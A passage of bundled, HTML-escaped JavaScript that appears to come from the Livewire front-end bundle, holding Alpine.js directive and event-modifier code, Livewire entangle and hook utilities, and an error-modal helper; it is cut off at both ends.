    if (modifiers.includes(&quot;debounce&quot;)) {
      let nextModifier = modifiers[modifiers.indexOf(&quot;debounce&quot;) + 1] || &quot;invalid-wait&quot;;
      let wait = isNumeric(nextModifier.split(&quot;ms&quot;)[0]) ? Number(nextModifier.split(&quot;ms&quot;)[0]) : 250;
      handler4 = debounce(handler4, wait);
    }
    if (modifiers.includes(&quot;throttle&quot;)) {
      let nextModifier = modifiers[modifiers.indexOf(&quot;throttle&quot;) + 1] || &quot;invalid-wait&quot;;
      let wait = isNumeric(nextModifier.split(&quot;ms&quot;)[0]) ? Number(nextModifier.split(&quot;ms&quot;)[0]) : 250;
      handler4 = throttle(handler4, wait);
    }
    if (modifiers.includes(&quot;prevent&quot;))
      handler4 = wrapHandler(handler4, (next, e) =&gt; {
        e.preventDefault();
        next(e);
      });
    if (modifiers.includes(&quot;stop&quot;))
      handler4 = wrapHandler(handler4, (next, e) =&gt; {
        e.stopPropagation();
        next(e);
      });
    if (modifiers.includes(&quot;once&quot;)) {
      handler4 = wrapHandler(handler4, (next, e) =&gt; {
        next(e);
        listenerTarget.removeEventListener(event, handler4, options);
      });
    }
    if (modifiers.includes(&quot;away&quot;) || modifiers.includes(&quot;outside&quot;)) {
      listenerTarget = document;
      handler4 = wrapHandler(handler4, (next, e) =&gt; {
        if (el.contains(e.target))
          return;
        if (e.target.isConnected === false)
          return;
        if (el.offsetWidth &lt; 1 &amp;&amp; el.offsetHeight &lt; 1)
          return;
        if (el._x_isShown === false)
          return;
        next(e);
      });
    }
    if (modifiers.includes(&quot;self&quot;))
      handler4 = wrapHandler(handler4, (next, e) =&gt; {
        e.target === el &amp;&amp; next(e);
      });
    if (isKeyEvent(event) || isClickEvent(event)) {
      handler4 = wrapHandler(handler4, (next, e) =&gt; {
        if (isListeningForASpecificKeyThatHasntBeenPressed(e, modifiers)) {
          return;
        }
        next(e);
      });
    }
    listenerTarget.addEventListener(event, handler4, options);
    return () =&gt; {
      listenerTarget.removeEventListener(event, handler4, options);
    };
  }
  function dotSyntax(subject) {
    return subject.replace(/-/g, &quot;.&quot;);
  }
  function camelCase2(subject) {
    return subject.toLowerCase().replace(/-(\w)/g, (match, char) =&gt; char.toUpperCase());
  }
  function isNumeric(subject) {
    return !Array.isArray(subject) &amp;&amp; !isNaN(subject);
  }
  function kebabCase2(subject) {
    if ([&quot; &quot;, &quot;_&quot;].includes(subject))
      return subject;
    return subject.replace(/([a-z])([A-Z])/g, &quot;$1-$2&quot;).replace(/[_\s]/, &quot;-&quot;).toLowerCase();
  }
  function isKeyEvent(event) {
    return [&quot;keydown&quot;, &quot;keyup&quot;].includes(event);
  }
  function isClickEvent(event) {
    return [&quot;contextmenu&quot;, &quot;click&quot;, &quot;mouse&quot;].some((i) =&gt; event.includes(i));
  }
  function isListeningForASpecificKeyThatHasntBeenPressed(e, modifiers) {
    let keyModifiers = modifiers.filter((i) =&gt; {
      return ![&quot;window&quot;, &quot;document&quot;, &quot;prevent&quot;, &quot;stop&quot;, &quot;once&quot;, &quot;capture&quot;, &quot;self&quot;, &quot;away&quot;, &quot;outside&quot;, &quot;passive&quot;].includes(i);
    });
    if (keyModifiers.includes(&quot;debounce&quot;)) {
      let debounceIndex = keyModifiers.indexOf(&quot;debounce&quot;);
      keyModifiers.splice(debounceIndex, isNumeric((keyModifiers[debounceIndex + 1] || &quot;invalid-wait&quot;).split(&quot;ms&quot;)[0]) ? 2 : 1);
    }
    if (keyModifiers.includes(&quot;throttle&quot;)) {
      let debounceIndex = keyModifiers.indexOf(&quot;throttle&quot;);
      keyModifiers.splice(debounceIndex, isNumeric((keyModifiers[debounceIndex + 1] || &quot;invalid-wait&quot;).split(&quot;ms&quot;)[0]) ? 2 : 1);
    }
    if (keyModifiers.length === 0)
      return false;
    if (keyModifiers.length === 1 &amp;&amp; keyToModifiers(e.key).includes(keyModifiers[0]))
      return false;
    const systemKeyModifiers = [&quot;ctrl&quot;, &quot;shift&quot;, &quot;alt&quot;, &quot;meta&quot;, &quot;cmd&quot;, &quot;super&quot;];
    const selectedSystemKeyModifiers = systemKeyModifiers.filter((modifier) =&gt; keyModifiers.includes(modifier));
    keyModifiers = keyModifiers.filter((i) =&gt; !selectedSystemKeyModifiers.includes(i));
    if (selectedSystemKeyModifiers.length &gt; 0) {
      const activelyPressedKeyModifiers = selectedSystemKeyModifiers.filter((modifier) =&gt; {
        if (modifier === &quot;cmd&quot; || modifier === &quot;super&quot;)
          modifier = &quot;meta&quot;;
        return e[`${modifier}Key`];
      });
      if (activelyPressedKeyModifiers.length === selectedSystemKeyModifiers.length) {
        if (isClickEvent(e.type))
          return false;
        if (keyToModifiers(e.key).includes(keyModifiers[0]))
          return false;
      }
    }
    return true;
  }
  function keyToModifiers(key) {
    if (!key)
      return [];
    key = kebabCase2(key);
    let modifierToKeyMap = {
      &quot;ctrl&quot;: &quot;control&quot;,
      &quot;slash&quot;: &quot;/&quot;,
      &quot;space&quot;: &quot; &quot;,
      &quot;spacebar&quot;: &quot; &quot;,
      &quot;cmd&quot;: &quot;meta&quot;,
      &quot;esc&quot;: &quot;escape&quot;,
      &quot;up&quot;: &quot;arrow-up&quot;,
      &quot;down&quot;: &quot;arrow-down&quot;,
      &quot;left&quot;: &quot;arrow-left&quot;,
      &quot;right&quot;: &quot;arrow-right&quot;,
      &quot;period&quot;: &quot;.&quot;,
      &quot;comma&quot;: &quot;,&quot;,
      &quot;equal&quot;: &quot;=&quot;,
      &quot;minus&quot;: &quot;-&quot;,
      &quot;underscore&quot;: &quot;_&quot;
    };
    modifierToKeyMap[key] = key;
    return Object.keys(modifierToKeyMap).map((modifier) =&gt; {
      if (modifierToKeyMap[modifier] === key)
        return modifier;
    }).filter((modifier) =&gt; modifier);
  }
  directive(&quot;model&quot;, (el, { modifiers, expression }, { effect: effect3, cleanup: cleanup2 }) =&gt; {
    let scopeTarget = el;
    if (modifiers.includes(&quot;parent&quot;)) {
      scopeTarget = el.parentNode;
    }
    let evaluateGet = evaluateLater(scopeTarget, expression);
    let evaluateSet;
    if (typeof expression === &quot;string&quot;) {
      evaluateSet = evaluateLater(scopeTarget, `${expression} = __placeholder`);
    } else if (typeof expression === &quot;function&quot; &amp;&amp; typeof expression() === &quot;string&quot;) {
      evaluateSet = evaluateLater(scopeTarget, `${expression()} = __placeholder`);
    } else {
      evaluateSet = () =&gt; {
      };
    }
    let getValue = () =&gt; {
      let result;
      evaluateGet((value) =&gt; result = value);
      return isGetterSetter(result) ? result.get() : result;
    };
    let setValue = (value) =&gt; {
      let result;
      evaluateGet((value2) =&gt; result = value2);
      if (isGetterSetter(result)) {
        result.set(value);
      } else {
        evaluateSet(() =&gt; {
        }, {
          scope: { &quot;__placeholder&quot;: value }
        });
      }
    };
    if (typeof expression === &quot;string&quot; &amp;&amp; el.type === &quot;radio&quot;) {
      mutateDom(() =&gt; {
        if (!el.hasAttribute(&quot;name&quot;))
          el.setAttribute(&quot;name&quot;, expression);
      });
    }
    var event = el.tagName.toLowerCase() === &quot;select&quot; || [&quot;checkbox&quot;, &quot;radio&quot;].includes(el.type) || modifiers.includes(&quot;lazy&quot;) ? &quot;change&quot; : &quot;input&quot;;
    let removeListener = isCloning ? () =&gt; {
    } : on(el, event, modifiers, (e) =&gt; {
      setValue(getInputValue(el, modifiers, e, getValue()));
    });
    if (modifiers.includes(&quot;fill&quot;)) {
      if ([void 0, null, &quot;&quot;].includes(getValue()) || isCheckbox(el) &amp;&amp; Array.isArray(getValue()) || el.tagName.toLowerCase() === &quot;select&quot; &amp;&amp; el.multiple) {
        setValue(getInputValue(el, modifiers, { target: el }, getValue()));
      }
    }
    if (!el._x_removeModelListeners)
      el._x_removeModelListeners = {};
    el._x_removeModelListeners[&quot;default&quot;] = removeListener;
    cleanup2(() =&gt; el._x_removeModelListeners[&quot;default&quot;]());
    if (el.form) {
      let removeResetListener = on(el.form, &quot;reset&quot;, [], (e) =&gt; {
        nextTick(() =&gt; el._x_model &amp;&amp; el._x_model.set(getInputValue(el, modifiers, { target: el }, getValue())));
      });
      cleanup2(() =&gt; removeResetListener());
    }
    el._x_model = {
      get() {
        return getValue();
      },
      set(value) {
        setValue(value);
      }
    };
    el._x_forceModelUpdate = (value) =&gt; {
      if (value === void 0 &amp;&amp; typeof expression === &quot;string&quot; &amp;&amp; expression.match(/\./))
        value = &quot;&quot;;
      window.fromModel = true;
      mutateDom(() =&gt; bind(el, &quot;value&quot;, value));
      delete window.fromModel;
    };
    effect3(() =&gt; {
      let value = getValue();
      if (modifiers.includes(&quot;unintrusive&quot;) &amp;&amp; document.activeElement.isSameNode(el))
        return;
      el._x_forceModelUpdate(value);
    });
  });
  function getInputValue(el, modifiers, event, currentValue) {
    return mutateDom(() =&gt; {
      if (event instanceof CustomEvent &amp;&amp; event.detail !== void 0)
        return event.detail !== null &amp;&amp; event.detail !== void 0 ? event.detail : event.target.value;
      else if (isCheckbox(el)) {
        if (Array.isArray(currentValue)) {
          let newValue = null;
          if (modifiers.includes(&quot;number&quot;)) {
            newValue = safeParseNumber(event.target.value);
          } else if (modifiers.includes(&quot;boolean&quot;)) {
            newValue = safeParseBoolean(event.target.value);
          } else {
            newValue = event.target.value;
          }
          return event.target.checked ? currentValue.includes(newValue) ? currentValue : currentValue.concat([newValue]) : currentValue.filter((el2) =&gt; !checkedAttrLooseCompare2(el2, newValue));
        } else {
          return event.target.checked;
        }
      } else if (el.tagName.toLowerCase() === &quot;select&quot; &amp;&amp; el.multiple) {
        if (modifiers.includes(&quot;number&quot;)) {
          return Array.from(event.target.selectedOptions).map((option) =&gt; {
            let rawValue = option.value || option.text;
            return safeParseNumber(rawValue);
          });
        } else if (modifiers.includes(&quot;boolean&quot;)) {
          return Array.from(event.target.selectedOptions).map((option) =&gt; {
            let rawValue = option.value || option.text;
            return safeParseBoolean(rawValue);
          });
        }
        return Array.from(event.target.selectedOptions).map((option) =&gt; {
          return option.value || option.text;
        });
      } else {
        let newValue;
        if (isRadio(el)) {
          if (event.target.checked) {
            newValue = event.target.value;
          } else {
            newValue = currentValue;
          }
        } else {
          newValue = event.target.value;
        }
        if (modifiers.includes(&quot;number&quot;)) {
          return safeParseNumber(newValue);
        } else if (modifiers.includes(&quot;boolean&quot;)) {
          return safeParseBoolean(newValue);
        } else if (modifiers.includes(&quot;trim&quot;)) {
          return newValue.trim();
        } else {
          return newValue;
        }
      }
    });
  }
  function safeParseNumber(rawValue) {
    let number = rawValue ? parseFloat(rawValue) : null;
    return isNumeric2(number) ? number : rawValue;
  }
  function checkedAttrLooseCompare2(valueA, valueB) {
    return valueA == valueB;
  }
  function isNumeric2(subject) {
    return !Array.isArray(subject) &amp;&amp; !isNaN(subject);
  }
  function isGetterSetter(value) {
    return value !== null &amp;&amp; typeof value === &quot;object&quot; &amp;&amp; typeof value.get === &quot;function&quot; &amp;&amp; typeof value.set === &quot;function&quot;;
  }
  directive(&quot;cloak&quot;, (el) =&gt; queueMicrotask(() =&gt; mutateDom(() =&gt; el.removeAttribute(prefix(&quot;cloak&quot;)))));
  addInitSelector(() =&gt; `[${prefix(&quot;init&quot;)}]`);
  directive(&quot;init&quot;, skipDuringClone((el, { expression }, { evaluate: evaluate22 }) =&gt; {
    if (typeof expression === &quot;string&quot;) {
      return !!expression.trim() &amp;&amp; evaluate22(expression, {}, false);
    }
    return evaluate22(expression, {}, false);
  }));
  directive(&quot;text&quot;, (el, { expression }, { effect: effect3, evaluateLater: evaluateLater2 }) =&gt; {
    let evaluate22 = evaluateLater2(expression);
    effect3(() =&gt; {
      evaluate22((value) =&gt; {
        mutateDom(() =&gt; {
          el.textContent = value;
        });
      });
    });
  });
  directive(&quot;html&quot;, (el, { expression }, { effect: effect3, evaluateLater: evaluateLater2 }) =&gt; {
    let evaluate22 = evaluateLater2(expression);
    effect3(() =&gt; {
      evaluate22((value) =&gt; {
        mutateDom(() =&gt; {
          el.innerHTML = value;
          el._x_ignoreSelf = true;
          initTree(el);
          delete el._x_ignoreSelf;
        });
      });
    });
  });
  mapAttributes(startingWith(&quot;:&quot;, into(prefix(&quot;bind:&quot;))));
  var handler2 = (el, { value, modifiers, expression, original }, { effect: effect3, cleanup: cleanup2 }) =&gt; {
    if (!value) {
      let bindingProviders = {};
      injectBindingProviders(bindingProviders);
      let getBindings = evaluateLater(el, expression);
      getBindings((bindings) =&gt; {
        applyBindingsObject(el, bindings, original);
      }, { scope: bindingProviders });
      return;
    }
    if (value === &quot;key&quot;)
      return storeKeyForXFor(el, expression);
    if (el._x_inlineBindings &amp;&amp; el._x_inlineBindings[value] &amp;&amp; el._x_inlineBindings[value].extract) {
      return;
    }
    let evaluate22 = evaluateLater(el, expression);
    effect3(() =&gt; evaluate22((result) =&gt; {
      if (result === void 0 &amp;&amp; typeof expression === &quot;string&quot; &amp;&amp; expression.match(/\./)) {
        result = &quot;&quot;;
      }
      mutateDom(() =&gt; bind(el, value, result, modifiers));
    }));
    cleanup2(() =&gt; {
      el._x_undoAddedClasses &amp;&amp; el._x_undoAddedClasses();
      el._x_undoAddedStyles &amp;&amp; el._x_undoAddedStyles();
    });
  };
  handler2.inline = (el, { value, modifiers, expression }) =&gt; {
    if (!value)
      return;
    if (!el._x_inlineBindings)
      el._x_inlineBindings = {};
    el._x_inlineBindings[value] = { expression, extract: false };
  };
  directive(&quot;bind&quot;, handler2);
  function storeKeyForXFor(el, expression) {
    el._x_keyExpression = expression;
  }
  addRootSelector(() =&gt; `[${prefix(&quot;data&quot;)}]`);
  directive(&quot;data&quot;, (el, { expression }, { cleanup: cleanup2 }) =&gt; {
    if (shouldSkipRegisteringDataDuringClone(el))
      return;
    expression = expression === &quot;&quot; ? &quot;{}&quot; : expression;
    let magicContext = {};
    injectMagics(magicContext, el);
    let dataProviderContext = {};
    injectDataProviders(dataProviderContext, magicContext);
    let data2 = evaluate(el, expression, { scope: dataProviderContext });
    if (data2 === void 0 || data2 === true)
      data2 = {};
    injectMagics(data2, el);
    let reactiveData = reactive(data2);
    initInterceptors(reactiveData);
    let undo = addScopeToNode(el, reactiveData);
    reactiveData[&quot;init&quot;] &amp;&amp; evaluate(el, reactiveData[&quot;init&quot;]);
    cleanup2(() =&gt; {
      reactiveData[&quot;destroy&quot;] &amp;&amp; evaluate(el, reactiveData[&quot;destroy&quot;]);
      undo();
    });
  });
  interceptClone((from, to) =&gt; {
    if (from._x_dataStack) {
      to._x_dataStack = from._x_dataStack;
      to.setAttribute(&quot;data-has-alpine-state&quot;, true);
    }
  });
  function shouldSkipRegisteringDataDuringClone(el) {
    if (!isCloning)
      return false;
    if (isCloningLegacy)
      return true;
    return el.hasAttribute(&quot;data-has-alpine-state&quot;);
  }
  directive(&quot;show&quot;, (el, { modifiers, expression }, { effect: effect3 }) =&gt; {
    let evaluate22 = evaluateLater(el, expression);
    if (!el._x_doHide)
      el._x_doHide = () =&gt; {
        mutateDom(() =&gt; {
          el.style.setProperty(&quot;display&quot;, &quot;none&quot;, modifiers.includes(&quot;important&quot;) ? &quot;important&quot; : void 0);
        });
      };
    if (!el._x_doShow)
      el._x_doShow = () =&gt; {
        mutateDom(() =&gt; {
          if (el.style.length === 1 &amp;&amp; el.style.display === &quot;none&quot;) {
            el.removeAttribute(&quot;style&quot;);
          } else {
            el.style.removeProperty(&quot;display&quot;);
          }
        });
      };
    let hide = () =&gt; {
      el._x_doHide();
      el._x_isShown = false;
    };
    let show = () =&gt; {
      el._x_doShow();
      el._x_isShown = true;
    };
    let clickAwayCompatibleShow = () =&gt; setTimeout(show);
    let toggle = once((value) =&gt; value ? show() : hide(), (value) =&gt; {
      if (typeof el._x_toggleAndCascadeWithTransitions === &quot;function&quot;) {
        el._x_toggleAndCascadeWithTransitions(el, value, show, hide);
      } else {
        value ? clickAwayCompatibleShow() : hide();
      }
    });
    let oldValue;
    let firstTime = true;
    effect3(() =&gt; evaluate22((value) =&gt; {
      if (!firstTime &amp;&amp; value === oldValue)
        return;
      if (modifiers.includes(&quot;immediate&quot;))
        value ? clickAwayCompatibleShow() : hide();
      toggle(value);
      oldValue = value;
      firstTime = false;
    }));
  });
  directive(&quot;for&quot;, (el, { expression }, { effect: effect3, cleanup: cleanup2 }) =&gt; {
    let iteratorNames = parseForExpression(expression);
    let evaluateItems = evaluateLater(el, iteratorNames.items);
    let evaluateKey = evaluateLater(el, el._x_keyExpression || &quot;index&quot;);
    el._x_prevKeys = [];
    el._x_lookup = {};
    effect3(() =&gt; loop(el, iteratorNames, evaluateItems, evaluateKey));
    cleanup2(() =&gt; {
      Object.values(el._x_lookup).forEach((el2) =&gt; mutateDom(() =&gt; {
        destroyTree(el2);
        el2.remove();
      }));
      delete el._x_prevKeys;
      delete el._x_lookup;
    });
  });
  function loop(el, iteratorNames, evaluateItems, evaluateKey) {
    let isObject22 = (i) =&gt; typeof i === &quot;object&quot; &amp;&amp; !Array.isArray(i);
    let templateEl = el;
    evaluateItems((items) =&gt; {
      if (isNumeric3(items) &amp;&amp; items &gt;= 0) {
        items = Array.from(Array(items).keys(), (i) =&gt; i + 1);
      }
      if (items === void 0)
        items = [];
      let lookup = el._x_lookup;
      let prevKeys = el._x_prevKeys;
      let scopes = [];
      let keys = [];
      if (isObject22(items)) {
        items = Object.entries(items).map(([key, value]) =&gt; {
          let scope2 = getIterationScopeVariables(iteratorNames, value, key, items);
          evaluateKey((value2) =&gt; {
            if (keys.includes(value2))
              warn(&quot;Duplicate key on x-for&quot;, el);
            keys.push(value2);
          }, { scope: { index: key, ...scope2 } });
          scopes.push(scope2);
        });
      } else {
        for (let i = 0; i &lt; items.length; i++) {
          let scope2 = getIterationScopeVariables(iteratorNames, items[i], i, items);
          evaluateKey((value) =&gt; {
            if (keys.includes(value))
              warn(&quot;Duplicate key on x-for&quot;, el);
            keys.push(value);
          }, { scope: { index: i, ...scope2 } });
          scopes.push(scope2);
        }
      }
      let adds = [];
      let moves = [];
      let removes = [];
      let sames = [];
      for (let i = 0; i &lt; prevKeys.length; i++) {
        let key = prevKeys[i];
        if (keys.indexOf(key) === -1)
          removes.push(key);
      }
      prevKeys = prevKeys.filter((key) =&gt; !removes.includes(key));
      let lastKey = &quot;template&quot;;
      for (let i = 0; i &lt; keys.length; i++) {
        let key = keys[i];
        let prevIndex = prevKeys.indexOf(key);
        if (prevIndex === -1) {
          prevKeys.splice(i, 0, key);
          adds.push([lastKey, i]);
        } else if (prevIndex !== i) {
          let keyInSpot = prevKeys.splice(i, 1)[0];
          let keyForSpot = prevKeys.splice(prevIndex - 1, 1)[0];
          prevKeys.splice(i, 0, keyForSpot);
          prevKeys.splice(prevIndex, 0, keyInSpot);
          moves.push([keyInSpot, keyForSpot]);
        } else {
          sames.push(key);
        }
        lastKey = key;
      }
      for (let i = 0; i &lt; removes.length; i++) {
        let key = removes[i];
        if (!(key in lookup))
          continue;
        mutateDom(() =&gt; {
          destroyTree(lookup[key]);
          lookup[key].remove();
        });
        delete lookup[key];
      }
      for (let i = 0; i &lt; moves.length; i++) {
        let [keyInSpot, keyForSpot] = moves[i];
        let elInSpot = lookup[keyInSpot];
        let elForSpot = lookup[keyForSpot];
        let marker = document.createElement(&quot;div&quot;);
        mutateDom(() =&gt; {
          if (!elForSpot)
            warn(`x-for &quot;:key&quot; is undefined or invalid`, templateEl, keyForSpot, lookup);
          elForSpot.after(marker);
          elInSpot.after(elForSpot);
          elForSpot._x_currentIfEl &amp;&amp; elForSpot.after(elForSpot._x_currentIfEl);
          marker.before(elInSpot);
          elInSpot._x_currentIfEl &amp;&amp; elInSpot.after(elInSpot._x_currentIfEl);
          marker.remove();
        });
        elForSpot._x_refreshXForScope(scopes[keys.indexOf(keyForSpot)]);
      }
      for (let i = 0; i &lt; adds.length; i++) {
        let [lastKey2, index] = adds[i];
        let lastEl = lastKey2 === &quot;template&quot; ? templateEl : lookup[lastKey2];
        if (lastEl._x_currentIfEl)
          lastEl = lastEl._x_currentIfEl;
        let scope2 = scopes[index];
        let key = keys[index];
        let clone2 = document.importNode(templateEl.content, true).firstElementChild;
        let reactiveScope = reactive(scope2);
        addScopeToNode(clone2, reactiveScope, templateEl);
        clone2._x_refreshXForScope = (newScope) =&gt; {
          Object.entries(newScope).forEach(([key2, value]) =&gt; {
            reactiveScope[key2] = value;
          });
        };
        mutateDom(() =&gt; {
          lastEl.after(clone2);
          skipDuringClone(() =&gt; initTree(clone2))();
        });
        if (typeof key === &quot;object&quot;) {
          warn(&quot;x-for key cannot be an object, it must be a string or an integer&quot;, templateEl);
        }
        lookup[key] = clone2;
      }
      for (let i = 0; i &lt; sames.length; i++) {
        lookup[sames[i]]._x_refreshXForScope(scopes[keys.indexOf(sames[i])]);
      }
      templateEl._x_prevKeys = keys;
    });
  }
  function parseForExpression(expression) {
    let forIteratorRE = /,([^,\}\]]*)(?:,([^,\}\]]*))?$/;
    let stripParensRE = /^\s*\(|\)\s*$/g;
    let forAliasRE = /([\s\S]*?)\s+(?:in|of)\s+([\s\S]*)/;
    let inMatch = expression.match(forAliasRE);
    if (!inMatch)
      return;
    let res = {};
    res.items = inMatch[2].trim();
    let item = inMatch[1].replace(stripParensRE, &quot;&quot;).trim();
    let iteratorMatch = item.match(forIteratorRE);
    if (iteratorMatch) {
      res.item = item.replace(forIteratorRE, &quot;&quot;).trim();
      res.index = iteratorMatch[1].trim();
      if (iteratorMatch[2]) {
        res.collection = iteratorMatch[2].trim();
      }
    } else {
      res.item = item;
    }
    return res;
  }
  function getIterationScopeVariables(iteratorNames, item, index, items) {
    let scopeVariables = {};
    if (/^\[.*\]$/.test(iteratorNames.item) &amp;&amp; Array.isArray(item)) {
      let names = iteratorNames.item.replace(&quot;[&quot;, &quot;&quot;).replace(&quot;]&quot;, &quot;&quot;).split(&quot;,&quot;).map((i) =&gt; i.trim());
      names.forEach((name, i) =&gt; {
        scopeVariables[name] = item[i];
      });
    } else if (/^\{.*\}$/.test(iteratorNames.item) &amp;&amp; !Array.isArray(item) &amp;&amp; typeof item === &quot;object&quot;) {
      let names = iteratorNames.item.replace(&quot;{&quot;, &quot;&quot;).replace(&quot;}&quot;, &quot;&quot;).split(&quot;,&quot;).map((i) =&gt; i.trim());
      names.forEach((name) =&gt; {
        scopeVariables[name] = item[name];
      });
    } else {
      scopeVariables[iteratorNames.item] = item;
    }
    if (iteratorNames.index)
      scopeVariables[iteratorNames.index] = index;
    if (iteratorNames.collection)
      scopeVariables[iteratorNames.collection] = items;
    return scopeVariables;
  }
  function isNumeric3(subject) {
    return !Array.isArray(subject) &amp;&amp; !isNaN(subject);
  }
  function handler3() {
  }
  handler3.inline = (el, { expression }, { cleanup: cleanup2 }) =&gt; {
    let root = closestRoot(el);
    if (!root._x_refs)
      root._x_refs = {};
    root._x_refs[expression] = el;
    cleanup2(() =&gt; delete root._x_refs[expression]);
  };
  directive(&quot;ref&quot;, handler3);
  directive(&quot;if&quot;, (el, { expression }, { effect: effect3, cleanup: cleanup2 }) =&gt; {
    if (el.tagName.toLowerCase() !== &quot;template&quot;)
      warn(&quot;x-if can only be used on a &lt;template&gt; tag&quot;, el);
    let evaluate22 = evaluateLater(el, expression);
    let show = () =&gt; {
      if (el._x_currentIfEl)
        return el._x_currentIfEl;
      let clone2 = el.content.cloneNode(true).firstElementChild;
      addScopeToNode(clone2, {}, el);
      mutateDom(() =&gt; {
        el.after(clone2);
        skipDuringClone(() =&gt; initTree(clone2))();
      });
      el._x_currentIfEl = clone2;
      el._x_undoIf = () =&gt; {
        mutateDom(() =&gt; {
          destroyTree(clone2);
          clone2.remove();
        });
        delete el._x_currentIfEl;
      };
      return clone2;
    };
    let hide = () =&gt; {
      if (!el._x_undoIf)
        return;
      el._x_undoIf();
      delete el._x_undoIf;
    };
    effect3(() =&gt; evaluate22((value) =&gt; {
      value ? show() : hide();
    }));
    cleanup2(() =&gt; el._x_undoIf &amp;&amp; el._x_undoIf());
  });
  directive(&quot;id&quot;, (el, { expression }, { evaluate: evaluate22 }) =&gt; {
    let names = evaluate22(expression);
    names.forEach((name) =&gt; setIdRoot(el, name));
  });
  interceptClone((from, to) =&gt; {
    if (from._x_ids) {
      to._x_ids = from._x_ids;
    }
  });
  mapAttributes(startingWith(&quot;@&quot;, into(prefix(&quot;on:&quot;))));
  directive(&quot;on&quot;, skipDuringClone((el, { value, modifiers, expression }, { cleanup: cleanup2 }) =&gt; {
    let evaluate22 = expression ? evaluateLater(el, expression) : () =&gt; {
    };
    if (el.tagName.toLowerCase() === &quot;template&quot;) {
      if (!el._x_forwardEvents)
        el._x_forwardEvents = [];
      if (!el._x_forwardEvents.includes(value))
        el._x_forwardEvents.push(value);
    }
    let removeListener = on(el, value, modifiers, (e) =&gt; {
      evaluate22(() =&gt; {
      }, { scope: { &quot;$event&quot;: e }, params: [e] });
    });
    cleanup2(() =&gt; removeListener());
  }));
  warnMissingPluginDirective(&quot;Collapse&quot;, &quot;collapse&quot;, &quot;collapse&quot;);
  warnMissingPluginDirective(&quot;Intersect&quot;, &quot;intersect&quot;, &quot;intersect&quot;);
  warnMissingPluginDirective(&quot;Focus&quot;, &quot;trap&quot;, &quot;focus&quot;);
  warnMissingPluginDirective(&quot;Mask&quot;, &quot;mask&quot;, &quot;mask&quot;);
  function warnMissingPluginDirective(name, directiveName, slug) {
    directive(directiveName, (el) =&gt; warn(`You can&#039;t use [x-${directiveName}] without first installing the &quot;${name}&quot; plugin here: https://alpinejs.dev/plugins/${slug}`, el));
  }
  alpine_default.setEvaluator(normalEvaluator);
  alpine_default.setReactivityEngine({ reactive: reactive2, effect: effect2, release: stop, raw: toRaw });
  var src_default = alpine_default;
  var module_default = src_default;

  // js/features/supportEntangle.js
  function generateEntangleFunction(component, cleanup2) {
    if (!cleanup2)
      cleanup2 = () =&gt; {
      };
    return (name, live = false) =&gt; {
      let isLive = live;
      let livewireProperty = name;
      let livewireComponent = component.$wire;
      let livewirePropertyValue = livewireComponent.get(livewireProperty);
      let interceptor2 = module_default.interceptor((initialValue, getter, setter, path, key) =&gt; {
        if (typeof livewirePropertyValue === &quot;undefined&quot;) {
          console.error(`Livewire Entangle Error: Livewire property [&#039;${livewireProperty}&#039;] cannot be found on component: [&#039;${component.name}&#039;]`);
          return;
        }
        let release2 = module_default.entangle({
          get() {
            return livewireComponent.get(name);
          },
          set(value) {
            livewireComponent.set(name, value, isLive);
          }
        }, {
          get() {
            return getter();
          },
          set(value) {
            setter(value);
          }
        });
        cleanup2(() =&gt; release2());
        return cloneIfObject2(livewireComponent.get(name));
      }, (obj) =&gt; {
        Object.defineProperty(obj, &quot;live&quot;, {
          get() {
            isLive = true;
            return obj;
          }
        });
      });
      return interceptor2(livewirePropertyValue);
    };
  }
  function cloneIfObject2(value) {
    return typeof value === &quot;object&quot; ? JSON.parse(JSON.stringify(value)) : value;
  }

  // js/hooks.js
  var listeners = [];
  function on2(name, callback) {
    if (!listeners[name])
      listeners[name] = [];
    listeners[name].push(callback);
    return () =&gt; {
      listeners[name] = listeners[name].filter((i) =&gt; i !== callback);
    };
  }
  function trigger2(name, ...params) {
    let callbacks = listeners[name] || [];
    let finishers = [];
    for (let i = 0; i &lt; callbacks.length; i++) {
      let finisher = callbacks[i](...params);
      if (isFunction(finisher))
        finishers.push(finisher);
    }
    return (result) =&gt; {
      return runFinishers(finishers, result);
    };
  }
  async function triggerAsync(name, ...params) {
    let callbacks = listeners[name] || [];
    let finishers = [];
    for (let i = 0; i &lt; callbacks.length; i++) {
      let finisher = await callbacks[i](...params);
      if (isFunction(finisher))
        finishers.push(finisher);
    }
    return (result) =&gt; {
      return runFinishers(finishers, result);
    };
  }
  function runFinishers(finishers, result) {
    let latest = result;
    for (let i = 0; i &lt; finishers.length; i++) {
      let iResult = finishers[i](latest);
      if (iResult !== void 0) {
        latest = iResult;
      }
    }
    return latest;
  }

  // js/request/modal.js
  function showHtmlModal(html) {
    let page = document.createElement(&quot;html&quot;);
    page.innerHTML = html;
    page.querySelectorAll(&quot;a&quot;).forEach((a) =&gt; a.setAttribute(&quot;target&quot;, &quot;_top&quot;));
    let modal = document.getElementById(&quot;livewire-error&quot;);
    if (typeof modal != &quot;undefined&quot; &amp;&amp; modal != null) {
      modal.innerHTML = &quot;&quot;;
    } else {
      modal = document.createElement(&quot;div&quot;);
      modal.id = &quot;livewire-error&quot;;
      modal.style.position = &quot;fixed&quot;;
      modal.style.width = &quot;100vw&quot;;
      modal.style.height = &quot;100vh&quot;;
      modal.style.padding = &quot;50px&quot;;
      modal.style.backgroundColor = &quot;rgba(0, 0, 0, .6)&quot;;
      modal.style.zIndex = 2e5;
    }
    let iframe = document.createElement(&quot;iframe&quot;);
    iframe.style.backgroundColor = &quot;#17161A&quot;;
    iframe.style.borderRadius = &quot;5px&quot;;
    iframe.style.width = &quot;100%&quot;;
    iframe.style.height = &quot;100%&quot;;
    modal.appendChild(iframe);
    document.body.prepend(modal);
    document.body.style.overflow = &quot;hidden&quot;;
    iframe.contentWindow.document.open();
    iframe.contentWindow.document.write(page.outerHTML);
    iframe.contentWindow.document.close();
    modal.addEventListener(&quot;click&quot;, () =&gt; hideHtmlModal(modal));
    modal.setAttribute(&quot;tabindex&quot;, 0);
    modal.addEventListener(&quot;keydown&quot;, (e) =&gt; {
      if (e.key === &quot;Escape&quot;)
        hideHtmlModal(modal);
    });
    modal.focus();
  }
  function hideHtmlModal(modal) {
    modal.outerHTML = &quot;&quot;;
    document.body.style.overflow = &quot;visible&quot;;
  }

  // js/request/pool.js
  var RequestPool = class {
    constructor() {
      this.commits = /* @__PURE__ */ new Set();
    }
    add(commit) {
      this.commits.add(commit);
    }
    delete(commit) {
      this.commits.delete(commit);
    }
    hasCommitFor(component) {
      return !!this.findCommitByComponent(component);
    }
    findCommitByComponent(component) {
      for (let [idx, commit] of this.commits.entries()) {
